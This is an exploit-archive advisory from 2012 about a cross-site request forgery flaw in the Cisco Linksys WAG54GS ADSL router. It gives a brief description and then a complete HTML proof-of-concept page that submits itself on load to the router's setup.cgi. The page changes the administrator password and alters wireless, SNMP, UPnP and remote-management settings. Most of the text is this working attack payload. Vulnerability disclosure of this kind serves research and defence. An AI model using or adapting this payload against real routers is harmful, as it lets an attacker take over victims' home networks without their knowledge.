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Cisco Linksys WAG54GS Cross Site Request Forgery

Cisco Linksys WAG54GS Cross Site Request Forgery
Posted Feb 22, 2012
Authored by Ivano Binetti

The Cisco Linksys WAG54GS ADSL router suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
systems | cisco
MD5 | 09281365d9ad97398e761ef6ef5a3f31

Cisco Linksys WAG54GS Cross Site Request Forgery

Change Mirror Download
+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : Cisco Linksys WAG54GS (ADSL Router) change admin password
# Date : 20-02-2012
# Author : Ivano Binetti (http://ivanobinetti.com)
# Vendor site : http://www.linksysbycisco.com
# Version : WAG54GS
# Tested on : Firmware Version: V1.01.03
+--------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------[Change Admin Account Password by Ivano Binetti]--------------------------------------+
Summary

1)Introduction
2)Vulnerability Description
3)Exploit

+---------------------------------------------------------------------------------------------------------------------------------+


1)Introduction
Cisco Linksys WAG54GS is an ADSL Router which uses a web management interface -listening to default on tcp/ip port 80 - and "admin"
as default administrator. His default ip address is 192.168.1.1


2)Vulnerability Description
The web interface of this router is prone to CSRF vulnerabilities which allows to change router parameters and - among other things -
to change default administrator ("admin") password.

3)Exploit
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change admin password</H2>
<form method="POST" name="form0" action="http://192.168.1.1:80/setup.cgi">
<input type="hidden" name="user_list" value="1"/>
<input type="hidden" name="sysname" value="admin"/>
<input type="hidden" name="sysPasswd" value="new_password"/>
<input type="hidden" name="sysConfirmPasswd" value="new_password"/>
<input type="hidden" name="remote_management" value="disable"/>
<input type="hidden" name="devname" value=""/>
<input type="hidden" name="snmp_enable" value="disable"/>
<input type="hidden" name="upnp_enable" value="enable"/>
<input type="hidden" name="wlan_enable" value="disable"/>
<input type="hidden" name="save" value="Save+Settings"/>
<input type="hidden" name="h_user_list" value="1"/>
<input type="hidden" name="h_pwset" value="yes"/>
<input type="hidden" name="sysname_changed" value="no"/>
<input type="hidden" name="pwchanged" value="yes"/>
<input type="hidden" name="pass_is_default" value="false"/>
<input type="hidden" name="pass_is_none" value="no"/>
<input type="hidden" name="h_remote_management" value="disable"/>
<input type="hidden" name="c4_trap_ip_" value=""/>
<input type="hidden" name="h_snmp_enable" value="disable"/>
<input type="hidden" name="h_upnp_enable" value="enable"/>
<input type="hidden" name="h_wlan_enable" value="disable"/>
<input type="hidden" name="todo" value="save"/>
<input type="hidden" name="this_file" value="Administration.htm"/>
<input type="hidden" name="next_file" value="Administration.htm"/>
<input type="hidden" name="message" value=""/>
</form>
</body>
</html>


+----------------------------------------------------------------------------------------------------------------------------------+
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